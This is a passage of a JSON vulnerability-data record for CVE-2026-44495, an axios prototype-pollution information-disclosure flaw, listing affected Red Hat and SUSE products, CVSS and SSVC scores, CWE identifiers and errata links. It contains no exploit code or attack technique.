4\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"axios\",\"cpes\":[\"cpe:/a:redhat:camel_spring_boot:4\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat build of Apache Camel - HawtIO 4\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"axios\",\"cpes\":[\"cpe:/a:redhat:apache_camel_hawtio:4\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat build of Apicurio Registry 3\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"apicurio/apicurio-registry-ui-rhel8\",\"cpes\":[\"cpe:/a:redhat:apicurio_registry:3\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat build of Apicurio Registry 3\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"apicurio/apicurio-registry-ui-rhel9\",\"cpes\":[\"cpe:/a:redhat:apicurio_registry:3\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Build of Podman Desktop - Tech Preview\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhdesktop/rh-podman-desktop-ext-openshift-local-rhel10\",\"cpes\":[\"cpe:/a:redhat:podman_desktop:0\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Enterprise Linux 8\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"grafana\",\"cpes\":[\"cpe:/o:redhat:enterprise_linux:8\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Enterprise Linux 8\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"grafana-pcp\",\"cpes\":[\"cpe:/o:redhat:enterprise_linux:8\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Enterprise Linux 9\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"grafana\",\"cpes\":[\"cpe:/o:redhat:enterprise_linux:9\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Enterprise Linux AI (RHEL AI) 3\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhelai3/bootc-cuda-rhel9\",\"cpes\":[\"cpe:/a:redhat:enterprise_linux_ai:3\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Enterprise Linux AI (RHEL AI) 3\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhelai3/bootc-gaudi-rhel9\",\"cpes\":[\"cpe:/a:redhat:enterprise_linux_ai:3\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Enterprise Linux AI (RHEL AI) 3\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhelai3/bootc-rocm-rhel9\",\"cpes\":[\"cpe:/a:redhat:enterprise_linux_ai:3\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Enterprise Linux AI (RHEL AI) 3\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhelai3/disk-image-cuda-rhel9\",\"cpes\":[\"cpe:/a:redhat:enterprise_linux_ai:3\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Fuse 7\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"axios\",\"cpes\":[\"cpe:/a:redhat:jboss_fuse:7\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift AI (RHOAI)\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhoai/odh-dashboard-rhel8\",\"cpes\":[\"cpe:/a:redhat:openshift_ai\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift AI (RHOAI)\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhoai/odh-dashboard-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_ai\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift AI (RHOAI)\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhoai/odh-mlflow-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_ai\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift AI (RHOAI)\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhoai/odh-mod-arch-automl-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_ai\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift AI (RHOAI)\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhoai/odh-mod-arch-autorag-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_ai\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift AI (RHOAI)\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhoai/odh-mod-arch-eval-hub-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_ai\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift AI (RHOAI)\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhoai/odh-mod-arch-gen-ai-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_ai\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift AI (RHOAI)\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhoai/odh-mod-arch-maas-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_ai\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift AI (RHOAI)\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhoai/odh-mod-arch-mlflow-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_ai\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift AI (RHOAI)\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhoai/odh-mod-arch-model-registry-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_ai\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift Container Platform 4\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"openshift4/ose-agent-installer-ui-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift:4\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift Dev Spaces\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"devspaces/code-rhel9\",\"cpes\":[\"cpe:/a:redhat:openshift_devspaces:3\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat OpenShift Virtualization 4\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"container-native-virtualization/kubevirt-console-plugin\",\"cpes\":[\"cpe:/a:redhat:container_native_virtualization:4\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Satellite 6\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"satellite/iop-advisor-frontend-rhel9\",\"cpes\":[\"cpe:/a:redhat:satellite:6\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Satellite 6\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"satellite/iop-host-inventory-frontend-rhel9\",\"cpes\":[\"cpe:/a:redhat:satellite:6\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Satellite 6\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"satellite/iop-vulnerability-frontend-rhel9\",\"cpes\":[\"cpe:/a:redhat:satellite:6\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Trusted Artifact Signer\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhtas/rhtas-console-ui-rhel9\",\"cpes\":[\"cpe:/a:redhat:trusted_artifact_signer:1\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Trusted Profile Analyzer\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"rhtpa/rhtpa-trustification-service-rhel9\",\"cpes\":[\"cpe:/a:redhat:trusted_profile_analyzer:2\"]},{\"vendor\":\"Red Hat\",\"product\":\"Self-service automation portal 2\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"ansible-automation-platform/automation-portal\",\"cpes\":[\"cpe:/a:redhat:ansible_portal:2\"]},{\"vendor\":\"Red Hat\",\"product\":\"Self-service automation portal 2\",\"defaultStatus\":\"affected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"ansible-automation-platform/bootc-automation-portal-rhel9\",\"cpes\":[\"cpe:/a:redhat:ansible_portal:2\"]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L\",\"baseScore\":7.0,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"HIGH\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"LOW\",\"availabilityImpact\":\"LOW\"},\"exploitabilityScore\":2.2,\"impactScore\":4.7},{\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L\",\"baseScore\":7.0,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"HIGH\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"LOW\",\"availabilityImpact\":\"LOW\"},\"exploitabilityScore\":2.2,\"impactScore\":4.7}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-06-12T03:55:39.431622Z\",\"id\":\"CVE-2026-44495\",\"options\":[{\"exploitation\":\"poc\"},{\"automatable\":\"no\"},{\"technicalImpact\":\"total\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-94\"},{\"lang\":\"en\",\"value\":\"CWE-1321\"}]},{\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-915\"}]}],\"references\":[{\"url\":\"https://github.com/axios/axios/security/advisories/GHSA-3g43-6gmg-66jw\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:20889\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:20938\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:26234\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:27044\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:27063\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:27944\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:28964\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:29082\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:29197\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:30650\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:30651\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:33155\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:33160\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:33163\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:33173\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:33183\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:33574\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:34160\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:34374\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:36108\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:36611\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:36754\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:36820\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:36882\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:36883\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:40262\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:40768\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:40792\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:40795\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:41031\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:41055\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:41064\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:41066\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:41928\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:41951\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:42078\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:42142\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:42146\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:42796\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:43052\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:46885\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:46903\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/security/cve/CVE-2026-44495\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://bugzilla.redhat.com/show_bug.cgi?id=2487937\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://github.com/axios/axios/security/advisories/GHSA-3g43-6gmg-66jw\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\"},{\"url\":\"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44495.json\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"}]}}",
"suse_vex": {
"aggregate_severity": "important",
"current_release_date": "2026-07-03T03:11:19Z",
"cve": "CVE-2026-44495",
"id": "CVE-2026-44495",
"initial_release_date": "2026-07-03T03:11:19Z",
"product_status:known_affected": "3",
"product_status:known_not_affected": "83",
"source": "SUSE CSAF VEX",
"status": "interim",
"title": "SUSE CVE CVE-2026-44495",
"url": "https://ftp.suse.com/pub/projects/security/csaf-vex/cve-2026-44495.json",
"version": "2"
},
"vulnrichment": {
"containers": "{\"adp\": [{\"title\": \"axios: Axios: Information disclosure due to prototype pollution vulnerability\", \"metrics\": [{\"other\": {\"type\": \"Red Hat severity rating\", \"content\": {\"value\": \"Important\", \"namespace\": \"https://access.redhat.com/security/updates/classification/\"}}}, {\"format\": \"CVSS\", \"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 7, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L\", \"integrityImpact\": \"LOW\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"HIGH\", \"availabilityImpact\": \"LOW\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"HIGH\"}}], \"affected\": [{\"cpes\": [\"cpe:/a:redhat:ansible_automation_platform:2.5::el8\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Ansible Automation Platform 2.5 for RHEL 8\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"0:2.5.20260715-1.el8ap\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"automation-gateway\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:ansible_automation_platform:2.5::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Ansible Automation Platform 2.5 for RHEL 9\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"0:2.5.20260715-1.el9ap\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"automation-gateway\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:ansible_automation_platform:2.6::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Ansible Automation Platform 2.6 for RHEL 9\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"0:2.6.10-1.el9ap\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"automation-platform-ui\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_data_grid:8\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Data Grid 8.6.2\", \"packageName\": \"axios\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:multicluster_engine:2.10::el9\"], \"vendor\": \"Red Hat\", \"product\": \"multicluster engine for Kubernetes 2.10\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1784312384\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"multicluster-engine/console-mce-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:multicluster_engine:2.6::el9\"], \"vendor\": \"Red Hat\", \"product\": \"multicluster engine for Kubernetes 2.6\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1783351002\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"multicluster-engine/console-mce-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:multicluster_engine:2.8::el9\"], \"vendor\": \"Red Hat\", \"product\": \"multicluster engine for Kubernetes 2.8\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1782157085\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"multicluster-engine/console-mce-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:multicluster_engine:2.9::el9\"], \"vendor\": \"Red Hat\", \"product\": \"multicluster engine for Kubernetes 2.9\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1783348181\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"multicluster-engine/console-mce-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:acm:2.11::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Advanced Cluster Management for Kubernetes 2.11\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1783350952\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"rhacm2/console-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:acm:2.13::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Advanced Cluster Management for Kubernetes 2.13\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1782157514\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"rhacm2/console-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:acm:2.14::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Advanced Cluster Management for Kubernetes 2.14\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1783451729\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"rhacm2/console-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:acm:2.15::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Advanced Cluster Management for Kubernetes 2.15\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1784578812\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"rhacm2/console-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:advanced_cluster_security:4.9::el8\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Advanced Cluster Security 4.9\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1779371594\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"advanced-cluster-security/rhacs-main-rhel8\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:advanced_cluster_security:4.10::el8\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Advanced Cluster Security for Kubernetes 4.10\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1779293013\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"advanced-cluster-security/rhacs-main-rhel8\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:ansible_automation_platform:2.6::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Ansible Automation Platform 2.6\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1782761510\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"ansible-automation-platform-26/gateway-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:ansible_automation_platform:2.7::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Ansible Automation Platform 2.7\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1783919486\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"ansible-automation-platform-27/gateway-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:container_native_virtualization:4.13::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Container Native Virtualization 4.13\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1782426816\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"container-native-virtualization/kubevirt-console-plugin-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:container_native_virtualization:4.14::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Container Native Virtualization 4.14\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1781807944\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"container-native-virtualization/kubevirt-console-plugin-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:rhdh:1.10::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Developer Hub 1.10\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1783448184\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"rhdh/rhdh-hub-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:rhdh:1.9::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Developer Hub 1.9\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1781187342\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}, {\"status\": \"unaffected\", \"version\": \"1782761244\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"rhdh/rhdh-hub-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:discovery:2::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Discovery 2\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1782166952\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"discovery/discovery-ui-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:rhmt:1.8::el8\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Migration Toolkit 1.8\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1783690532\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": 